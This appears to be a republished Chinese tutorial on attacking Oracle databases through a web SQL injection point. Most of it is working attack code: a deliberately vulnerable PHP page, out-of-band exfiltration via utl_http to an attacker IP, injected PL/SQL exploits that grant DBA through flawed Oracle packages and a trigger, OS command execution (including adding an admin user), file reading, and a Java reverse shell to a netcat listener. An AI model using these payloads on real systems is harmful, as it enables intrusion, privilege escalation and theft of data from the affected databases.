1. 程式人生 > >Hacking Oracle with Sql Injection

Hacking Oracle with Sql Injection

0x0 前言

0x1 資訊刺探 

0x2 許可權提升 

0x3 執行命令 

0x4 檔案系統 

0x5 訪問網路 

0x6 總結

0x7 參考文獻

0x0 前言

本文主要討論如何通過一個sql inject 來最大限度的取得各種資訊和許可權,文章絕大多數技術都是前人提出,膜拜各位牛人 的同時,也非常感謝牛人們的分享,上帝與你們同在 :) 本文僅起著總結作用,測試資料庫分別為:Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 和Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 ,預設是 Oracle Database 10g Enterprise Edition Release 10.2.0.1.0最後,倘若您有更好的見解或者方法,請不吝賜教

0x1 資訊刺探

通常刷到一個sql inject 之後,一般步驟都是查詢敏感資訊,oracle自帶了很多資料字典,可以很方便我們查詢資訊

-- list version   select banner from v$version where rownum=1 ; -- oracle version

-- list user   select user from dual; -- current user   select username from user_users; -- current user   select username from all_users; -- all user , the current user can see...   select username from dba_users; -- all user , need pris

-- list role   select role from session_roles; -- current role

-- list privs   select privilege from user_sys_privs; -- privs the current user has   select privilege from role_sys_privs; -- privs the current role has   select privilege from session_privs; -- the all privs that current user has = user_sys_privs + role_sys_privs   select * from dba_sys_privs; -- all user's privs , need privs

-- list password hash   select name, password, astatus from sys.user$; -- password hash <=10g , need privs   select name, password, spare4 from sys.user$; -- password has 11g , need privs

-- list database   select global_name from global_name; -- current database   select sys.database_name from dual; -- current database   select name from v$database; -- current database name , need privs   select instance_name from v$instance; -- current database name , need privs

-- list schemas   select distinct owner from all_tables; -- all schema

-- list tables   select table_name from all_tables where owner='xxx'; -- all table name

-- list columns   select owner,table_name,column_name from all_tab_columns where table_name='xxx';   select owner,table_name,column_name from all_tab_cols where table_name='xxx';

一般思路就是檢索schema->table->column ,然後就查詢相關資訊,進行下一步滲透,當然,倘若僅僅如此,這篇文章就 沒有存在的必要了,下面我們會介紹怎麼樣通過web來hack oracle,不過在此之前,還是請容許我簡單的描述一下在oracle 下如何高效的獲取資訊,下面這個是測試程式碼,本文通用程式碼

<?php  
//error_reporting(0); // do not display error info  
//include_once('db.php');  
$dbuser = 'hellove';  
$dbpass = 'hellove';  
$db= '';  
echo "<h3>Welcome to sql inject world!!! </h3>";  
$conn = oci_connect($dbuser,$dbpass,$db);

//get some data from mynew;  
if(empty($_GET['id']))  
$_GET['id'] = 1;  
$stmt = oci_parse($conn, "select id,content from mynews where id = ".$_GET['id']);  
oci_execute($stmt);  
oci_commit($conn);

$nrows = oci_fetch_all($stmt, $results);

if ($nrows > 0) {  
echo "<table border=\"1\">";  
echo "<tr>";  
foreach ($results as $key => $val) {  
echo "<th>$key</th>";  
}  
echo "</tr>";

      for ($i = 0; $i &lt; $nrows; $i++) {
          echo "&lt;tr&gt;&lt;br /&gt;";
          foreach ($results as $data) {
           echo "&lt;td&gt;$data[$i]&lt;/td&gt;";
          }
          echo "&lt;/tr&gt;";
     }
     echo "&lt;/table&gt;";


} else {  
echo "No data found<br />";  
}  
echo "$nrows Records Selected<br />";

oci_free_statement($stmt);  
oci_close($conn);

?>  

假定上面的程式碼是http://www.hellove.net/hellove.php,變數id將會導致注入. 在這裡很明顯的可以用union來獲取資訊,不過我們還是介紹一點oracle獨有的獲取資訊的方法吧 

utl_http.request

local: nc.traditional -l -p 1234

web: http://www.hellove.net/hellove.php?id=123 and 1=utl_http.request('http://10.1.100.1/'||(SQL in HERE))  
utl_inaddr.get_host_name

error base  
web: http://www.hellove.net/hellove.php?id=123 and 1=utl_inaddr.get_host_name((SQL in HERE))  
utl_inaddr.get_host_address

error base or dns  
web: http://www.hellove.net/hellove.php?id=123 and 1=utl_inaddr.get_host_address((SQL in HERE))  
ctxsys.drithsx.sn

error base  
web: http://www.hellove.net/hellove.php?id=123 and 1=ctxsys.drithsx.sn(1,(SQL in HERE))  
sys.dbms_ldap.init

dns  
web: http://www.hellove.net/hellove.php?id=123 and SYS.DBMS_LDAP.INIT(((SQL in HERE)||'hellove.net',80) is not null

utl_http.request,utl_inaddr.get_host_name,utl_inaddr.get_host_address由於11g的安全特性無法繼續使用,但是我們 可以在顯錯模式下利用ctxsys.drithsx.sn,或者自己搭建一個dnsserver,將一個域名的解析server指向該server,利用sys.dbms_ldap.init 還可以在11g下正常工作

0x2 許可權提升

在這裡假設我們得到的這個注射點所在的使用者的擁有的許可權很小,僅有create session或者其他許可權,也假設我們並沒有足夠走運 能夠注射到pl/sql語句中,僅僅是一個普普通通的注射點,這個時候我們就要想想如何提權了,所以本小結的主題是如何讓我們現在 的使用者成為dba,let’s begin

DBMS_EXPORT_EXTENSION  現在我們來關注一下DBMS_EXPORT_EXTENSION這個包,這個包在06年7月之前存在3個危險函式,get_domain_index_metadata, get_v2_domain_index_tables,get_domain_index_tables,這三個函式sys定義,預設都是definer right ,oracle的初次 修復方案很友愛,前兩個函式都修得差不多了,但是第三個在10g r2未打補丁的情況下,還存在著,讓我們看一下這個函式的程式碼

FUNCTION GET_DOMAIN_INDEX_TABLES (  
INDEX_NAME IN VARCHAR2,  
INDEX_SCHEMA IN VARCHAR2,  
TYPE_NAME IN VARCHAR2,  
TYPE_SCHEMA IN VARCHAR2,  
READ_ONLY IN PLS_INTEGER,  
VERSION IN VARCHAR2,  
GET_TABLES IN PLS_INTEGER)  
RETURN VARCHAR2 IS

CRS INTEGER := DBMS_SQL.OPEN_CURSOR;  
DUMMY INTEGER;  
RETVAL INTEGER;  
STMTSTRING VARCHAR2(3901);  
COMPILE_ERROR EXCEPTION;  
PRAGMA EXCEPTION_INIT(COMPILE_ERROR, -6550);

BEGIN  
IF GET_TABLES = 1 THEN  
GETTABLENAMES_CONTEXT := 0;

STMTSTRING :=  
'DECLARE ' ||  
'oindexinfo ODCIIndexInfo := ODCIIndexInfo(' ||  
''''||SYS.DBMS_ASSERT.SCHEMA_NAME(INDEX_SCHEMA)||''','''||  
SYS.DBMS_ASSERT.SIMPLE_SQL_NAME(INDEX_NAME)||''', ' ||  
'ODCIColInfoList(), NULL, 0, 0); ' ||

'BEGIN ' ||  
':p1 := "' || SYS.DBMS_ASSERT.SCHEMA_NAME(TYPE_SCHEMA) || '"."' ||  
SYS.DBMS_ASSERT.SIMPLE_SQL_NAME(TYPE_NAME) ||  
'".ODCIIndexUtilGetTableNames(oindexinfo,:p2,:p3,:p4); ' ||  
'END;';  
DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);  
DBMS_SQL.BIND_VARIABLE(CRS,':p1',STMTSTRING, 3901);  
DBMS_SQL.BIND_VARIABLE(CRS,':p2',READ_ONLY);  
DBMS_SQL.BIND_VARIABLE(CRS,':p3',VERSION,20);  
DBMS_SQL.BIND_VARIABLE(CRS,':p4',GETTABLENAMES_CONTEXT);  
DUMMY := DBMS_SQL.EXECUTE(CRS);  
DBMS_SQL.VARIABLE_VALUE(CRS, ':p1',STMTSTRING);  
DBMS_SQL.VARIABLE_VALUE(CRS, ':p4',GETTABLENAMES_CONTEXT);  
DBMS_SQL.CLOSE_CURSOR(CRS);  
ELSE  
STMTSTRING :=  
'BEGIN ' ||  
'"' || TYPE_SCHEMA || '"."' || TYPE_NAME ||  
'".ODCIIndexUtilCleanup(:p1); ' ||  
'END;';  
DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);  
DBMS_SQL.BIND_VARIABLE(CRS,':p1',GETTABLENAMES_CONTEXT);  
DUMMY := DBMS_SQL.EXECUTE(CRS);  
DBMS_SQL.CLOSE_CURSOR(CRS);  
STMTSTRING := '';

END IF;

RETURN STMTSTRING;

EXCEPTION  
WHEN COMPILE_ERROR THEN  
DECLARE  
ERR_MSG VARCHAR2(520);  
BEGIN  
DBMS_SQL.CLOSE_CURSOR(CRS);  
ERR_MSG := SQLERRM(-6550);

IF INSTR(ERR_MSG, 'PLS-00302') != 0 THEN

RETURN '';  
ELSE  
RAISE;

END IF;  
END;

WHEN OTHERS THEN  
DBMS_SQL.CLOSE_CURSOR(CRS);  
RAISE;

END GET_DOMAIN_INDEX_TABLES; 

我們可以看到當GET_TABLES=1時,這程式碼無懈可擊,但是當GET_TABLES=0時,TYPE_SCHEMA和TYPE_NAME就是注入點啊!突然覺得oracle覺得好可愛,這裡我們就拿get_domain_index_tables演示

web: http://www.hellove.net/hellove.php?id=123 and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH','DBMS_OUTPUT".PUT(:P1);execute immediate ''declare pragma autonomous_transaction; begin execute immediate ''''grant dba to hellove''''; end;''; END;--','SYS',1,'1',0)=0;

注射到第三參TYPE_NAME,熟悉pl/sql的都應該瞭解上面在幹嘛:) 不過這個包的三個函式在06年7月之後就被修復了,也就是說 oracle 11g就不能再用了

  dbms_xmlquery.newcontext與dbms_xmlquery.getxml

我本來是還要寫hacking oracle with pl/sql的,不過被這兩個函式直接滅掉我這想法,這兩個函式使得之前我以為僅能在pl/sql環境下利用的 漏洞,在web下也能利用了

dbms_xmlquery.getxml() public role  
dbms_xmlquery.newcontext() public role  
sys.kupp$proc.create_mater_process() dba role

這三個函式都可以直接執行PL/SQL語句,定義為invoker right ,所以使得之前只能在pl/sql環境中使用的漏洞,現在在web環境中也可以使用了,這三個函式應該都不算是存在漏洞,只能說是特性而已,後期會經常使用,現在提及一下

  DBMS_JVM_EXP_PERMS

DBMS_JVM_EXP_PERMS這個包比較好玩,純粹是邏輯型的漏洞,所需的許可權非常小,只要有create session就可以了,只可惜DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS不能在web環境中直接呼叫,作者給的poc能使我們的使用者直接得到Java許可權

DECLARE  
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;  
CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' from dual;  
BEGIN  
OPEN C1;  
FETCH C1 BULK COLLECT INTO POL;  
CLOSE C1;  
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);  
END;  

個人PL/SQL程式設計技術有限,嘗試將上述poc用dbms_xmlquery.newcontext結合利用,不曉得為什麼oracle老是提示ORA-03113: end-of-file on communication channel ,只能建立個函式,然後在通過函式進行利用,唉,結果又必須多一個create procedure許可權才能利用 作者這個很厲害的漏洞,下面是我的程式碼

web: http://www.hellove.net/hellove.php?id=123 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;
 begin execute immediate ''create or replace function myjava return number is PRAGMA AUTONOMOUS_TRANSACTION;
 begin execute immediate ''''DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS 
 SELECT ''''''''GRANT'''''''',USER(), ''''''''SYS'''''''',''''''''java.io.FilePermission'''''''',
 ''''''''&lt;&lt;ALL FILES&gt;&gt;'''''''',''''''''execute'''''''',''''''''ENABLED'''''''' from dual;BEGIN OPEN C1;
 FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;'''';commit;return 1;end;''; 
 commit; end;') is not null

web: http://www.hellove.net/hellove.php?id=123 and myjava()=1

由於The 11.2.0.1 April CPU patch fixes this,我的11g就沒有測試成功,至於這個java.io的許可權有什麼用,後面再說, 反正先刷到一個許可權再說

LT.FINDRICSET  first to first,看一下這個漏洞過程的程式碼

PROCEDURE FINDRICSET( TABLE_NAME VARCHAR2, RESULT_TABLE VARCHAR2 DEFAULT '' )  
IS  
TABOWNER VARCHAR2(100);  
TABNAME VARCHAR2(100);  
RESOWNER VARCHAR2(100);  
RESNAME VARCHAR2(100);  
BEGIN  
SYS.LT_CTX_PKG.SETUSER ;

     TABOWNER := NVL(SUBSTR(UPPER(TABLE_NAME),1,INSTR(TABLE_NAME,'.')-1), SYS_CONTEXT('lt_ctx', 'current_schema'));
     TABNAME  := SUBSTR(UPPER(TABLE_NAME),INSTR(TABLE_NAME,'.')+1);

     IF ( RESULT_TABLE IS NOT NULL ) THEN
        RESOWNER := NVL(SUBSTR(UPPER(RESULT_TABLE),1,INSTR(RESULT_TABLE,'.')-1), SYS_CONTEXT('lt_ctx', 'current_schema'));
        RESNAME  := SUBSTR(UPPER(RESULT_TABLE),INSTR(RESULT_TABLE,'.')+1);
     END IF;

      IF ( RESULT_TABLE IS NOT NULL AND 
           NOT HASOUTPUTTABPRIVS( RESOWNER, RESNAME ) ) THEN
         SYS.WM_ERROR.RAISEERROR(SYS.LT.WM_ERROR_171_NO, 'insufficient privileges on the result table');
      END IF;

     SYS.LTRIC.FINDRICSET( TABOWNER, TABNAME, RESOWNER, RESNAME );


END;  

粗略看一下似乎沒什麼問題,可是這個函式又呼叫了SYS.LTRIC.FINDRICSET,而SYS.LTRIC.FINDRICSET中存在注入,但是SYS.LTRIC.FINDRICSET 是不能被public角色呼叫,LT.FINDRICSET可以被public 角色呼叫,所以歸為LT.FINDRICSET漏洞,再讓我們看一下SYS.LTRIC.FINDRICSET的程式碼

PROCEDURE FINDRICSET( IN_TABLE_OWNER VARCHAR2, IN_TABLE_NAME VARCHAR2,  
RESULT_TABLE_OWNER VARCHAR2, RESULT_TABLE VARCHAR2 )  
.....省略  
EXECUTE IMMEDIATE 'insert into wmsys.wm$ric_set_in values ( ''' || IN_TABLE_OWNER || ''',''' || IN_TABLE_NAME || ''' )'; 

我們看到了IN_TABLE_NAME 和 IN_TABLE_OWNER 可以注入,但是IN_TABLE_NAME與IN_TABLE_OWNER都是由LT.FINDRICSET中的引數TABLE_NAME 所產生,所以我們可以用LT.FINDRICSET的第一參來進行注入,嘗試結合dbms_xmlquery.newcontext(這樣就無需create procedure),結果因為 字數限制而失敗了,下面給出利用方法,需要有create procedure的許可權

web: http://www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  
begin execute immediate ''create or replace function get_dba return varchar2 authid current_user is PRAGMA  
autonomous_transaction;BEGIN execute immediate ''''grant dba to hellove'''';commit;return ''''z'''';END; ''; commit; end;')  
from dual) is not null

web :http://www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA  
AUTONOMOUS_TRANSACTION;begin sys.lt.findricset(''A.A''''||hellove.get_dba)--'',''BBBB'');commit;end;') from dual) is not  
null

上面兩行程式碼是在web環境下使用的程式碼,pl/sql中更為簡單,就不必演示了

  MDSYS.SDO_DROP_USER_BEFORE

之前的DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES屬於函式注入,SYS.LTRIC.FINDRICSET屬於過程注入,DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS邏輯問題 現在我們要介紹一個更為好玩的MDSYS.SDO_DROP_USER_BEFORE觸發器,MDSYS模式下的SDO_DROP_USER_BEFORE,TRIGGER是以definer rigth來執行的,雖然MDSYS沒有多大的許可權 但是先讓我們能夠在MDSYS下執行任意命令,先看MDSYS.SDO_DROP_USER_BEFORE的程式碼

trigger sdo_drop_user_before  
before drop on DATABASE  
declare  
stmt varchar2(200);  
rdf_exception EXCEPTION; pragma exception_init(rdf_exception, -20000);  
BEGIN  
if dictionary_obj_type = 'USER' THEN  
BEGIN  
EXECUTE IMMEDIATE  
'begin ' ||  
'mdsys.rdf_apis_internal.' ||  
'notify_drop_user(''' ||  
dictionary_obj_name || '''); ' ||  
'end;';  
EXCEPTION  
WHEN rdf_exception THEN RAISE;  
WHEN OTHERS THEN NULL;  
END;  
end if;  
end;

dictionary_obj_name處可以注入,我們可以嘗

SQL> set serveroutput on  
SQL> drop user "t');dbms_output.put_line('test";  
test  
drop user "t');dbms_output.put_line('test"  
*  
ERROR at line 1:  
ORA-01918: user 't');dbms_output.put_line('test' does not exist

相當無語,不過還是因為字數限制,不能利用dbms_xmlquery.getxml來實現無需create procedure,必須建立個過程,但是由於所在模式為MDSYS 不是dba,我們不能利用MDSYS直接獲取dba許可權,但是MDSYS擁有create any trigger的許可權,所以我們可以利用MDSYS在system下 建立一個trigger,trigger是authid current_user,所以我們要利用trigger來在system許可權下執行命令,然後我們再觸發這個trigger,就可以 在system下執行程式碼了,talk is cheap,show me the code,直接放程式碼吧

create or replace procedure g(v varchar2) authid current_user is  
PRAGMA AUTONOMOUS_TRANSACTION;  
stmt varchar2(400) := 'create or replace trigger '  
|| 'system.evil_trigger '  
|| 'before insert on '  
|| 'system.OL$ '  
|| 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;'  
|| 'BEGIN execute immediate ''grant dba to hellove'';END evil_trigger;';  
begin  
execute immediate stmt;  
commit;  
end; 

我們先建立一個過程g(名字要短),方便注射到MDSYS.SDO_DROP_USER_BEFORE中,然後將g的執行許可權賦給public,在過程g中,我們建立 一個在system模式OL$的trigger,程式碼如上

drop user "g');hellove.g('";  
insert into system.OL$(OL_NAME) values('test');  
set role dba

刪除使用者將觸發觸發器MDSYS.sdo_drop_user_before,注入程式碼以MDSYS模式下執行,而MDSYS可以create any trigger,所以我們利用MDSYS 建立system.OL$下的一個trigger,之所以是system.OL$,是因為public使用者可以往裡面插入資料而觸發觸發器,然後由於觸發器是以definer來 執行的,所以建立的system.evil_trigger就以sysem的許可權下加使用者了,以上程式碼還是可以結合dbms_xmlquery.getxml來使用,請自行構造

簡單分析了幾個漏洞,由於oracle類似的漏洞太多了,不大可能一一分析,所以本小結到這就結束了

0x3 執行命令

下面的章節都假定我們已經獲得了很高的許可權,接下來我們的target就轉移到了os,下面我們來講一下如何在pl/sql中執行os命令

create or replace library exec_shell as '$ORACLE_HOME\bin\msvcrt.dll';  
create or replace procedure execmd (command in char) is external name "system" library exec_shell language c;  
/

exec execmd('net user > hellove.txt');  

直接照這上面的操作是必定會失敗的,因為$ORACLE_HOME\bin\下壓根就沒msvcrt.dll,long long ago是可以用絕對地址”c:\windows\system32\msvcrt.dll”,或者用路徑回溯”……\windows\system32\msvcrt.dll”來執行command的,不過在oracle 10gr2已經不行了,所以測試這個 程式碼的時候我是直接把msvcrt.dll複製到$ORACLE_HOME\bin\下,面對這種情況,我們可以利用PL/SQL來複制msvcrt.dll,或者用JAVA來執行命 令,我比較偏愛JAVA :)

create or replace and resolve java source named JAVACMD as  
import java.lang.*;  
import java.io.*;  
public class JAVACMD  
{  
public static void execmd(String command) throws IOException  
{  
Runtime.getRuntime().exec(command);  
}  
}

create or replace procedure MYJAVACMD(command in varchar) as language java  
name 'JAVACMD.execmd(java.lang.String)';

不過在執行這個MYJAVACMD之前必須將相應的JAVA許可權賦予使用者,之前提到的DBMS_JVM_EXP_PERMS就可以給使用者賦予任意java許可權,簡單起見,我們直接賦予

exec dbms_java.grant_permission( 'HELLOVE', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute' );  
exec MYJAVACMD('net user');

突然發現我的題目是hacking oracle with sql inject,不是with pl/sql...讓我們簡單結合dbms_xmlquery.newcontext來在web下使用

web: http://www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  
begin execute immediate ''create or replace and resolve java source named JAVACMD as import java.lang.*;import java.io.*;public  
class JAVACMD{public static void execmd(String command) throws IOException{Runtime.getRuntime().exec(command);}} ''; commit;  
end;') from dual) is not null

web: http://www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  
begin execute immediate ''create or replace procedure MYJAVACMD(command in varchar) as language java name  
''''JAVACMD.execmd(java.lang.String)''''; ''; commit;end;') from dual) is not null

web :http://www.hellove.net/hellove.php?id=123 and (select dbms_xmlquery.newcontext('begin myjavacmd(''net user admin admin /add'')  
;commit;end;') from dual) is not null

由於用了dbms_xmlquery.newcontext之後,程式碼就慘不忍睹了,下面幾篇就不結合dbms_xmlquery.newcontext來使用了,反正都懂的 :)

0x4 檔案系統

下面我們將利用pl/sql來讀取檔案,其實獲取dba許可權之後,怎麼樣對系統進行操作完全就是個人pl/sql或java水平的體現

create or replace procedure read_file(dirname varchar2,fname varchar2) as  
FD utl_file.file_type;  
buffer varchar2(200);  
begin  
execute immediate 'create or replace directory rw_file as '''||dirname||'''';  
FD := utl_file.fopen('RW_FILE',fname,'r');  
dbms_output.enable(100000);  
loop  
sys.utl_file.get_line(FD,buffer);  
dbms_output.put_line(buffer);  
end loop;  
execute immediate 'drop directory rw_file';

exception  
when NO_DATA_FOUND then  
dbms_output.put_line('---|---|---|file end!---|---|---|---|');  
when others then  
dbms_output.put_line('please check your file');  
end read_file;  
/  
exec read_file('c:\','boot.ini');  

上面是PL/SQL程式碼來讀取檔案,下面是利用JAVA來讀取檔案內容

create or replace and compile java source named javareadfile as  
import java.lang.*;  
import java.io.*;  
public class javareadfile  
{  
public static void readfile(String filename) throws IOException  
{  
FileReader f = new FileReader(filename);  
BufferedReader fr = new BufferedReader(f);  
String text = fr.readLine();  
while(text != null)  
{  
System.out.println(text);  
text = fr.readLine();  
}  
fr.close();  
}  
}

create or replace procedure jreadfile (filename in varchar)  
as language java  
name 'javareadfile.readfile(java.lang.String)';

exec jreadfile('c:\boot.ini');

我們還是可以利用之前的那個DBMS_JVM_EXP_PERMS獲取java.io.FilePermission,可以簡單讀取檔案

0x5 訪問網路

在PL/SQL中我們可以利用oracle自帶的那幾個包(utl_tcp,utl_http…etc)來訪問網路,自我感覺不怎麼好用,比較喜歡用java, 下面我們來實現一個簡易的java版本反向後門

create or replace and compile java source named javasocket as  
import java.net.*;  
import java.io.*;  
import java.lang.*;

public class javasocket  
{  
public static void test(String addr,String str_port)  
{  
Socket socket;  
String len;  
String s;  
InputStream Is;  
OutputStream Os;  
DataInputStream DIS;  
PrintStream PS;

        try{ 
            socket=new Socket(addr,Integer.parseInt(str_port)); 
            Is=socket.getInputStream(); 
            Os=socket.getOutputStream(); 
            DIS=new DataInputStream(Is); 
            PS=new PrintStream(Os); 

            while(true){ 
                s=DIS.readLine();
                if(s.trim().equals("BYE"))break;

                try{
                    Runtime rt = Runtime.getRuntime();
                    Process p = null;
                    p = rt.exec(s);
                    s = null;
                    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
                    String msg = null;
                    while((msg = br.readLine())!=null){
                            msg += "\n";
                            s += msg;
                    }
                    br.close();
                 }
                catch(Exception e)
                { 
                    s = "Please check your command!";
                } 

                PS.println(s);
           } 

            DIS.close();
            PS.close(); 
            Is.close(); 
            Os.close(); 
            socket.close();  
        } 
        catch(Exception e)
        { 
            System.out.println("Error:"+e); 
        } 
    } 


}

create or replace procedure myjavasocket(address in varchar,port in varchar) as language java  
name 'javasocket.test(java.lang.String,java.lang.String)';  

執行myjavasocket

exec myjavasocket('10.1.100.1','9999');

local: nc -l -p 9999

這樣就可以得到了一個互動的shell了,不過有些不是exe檔案的比如dir就得輸入cmd.exe /c dir 來執行….

0x6 總結

其實這篇文章主要都是在講10gr2,都是一些很老的東西,我也只是稍微的總結了一下,我現在更比較關注大牛們是怎麼發現這些漏洞的, 這篇東西寫了我差不多兩週的時間,對oracle的瞭解從0到有了一點了解,從中學到了不少東西,本文參照了不少大牛的資料,再一次感謝和膜拜各位大牛

0x7 參考文獻

[1] Hacking Oracle From Web 2

[2] hacking Oracle From Web part2-2 

[3] HackingAurora 

[4] best of oracle security 2012 

[5] Integrigy Oracle SQL Injection Attacks 

[6] Oracle web環境注射技術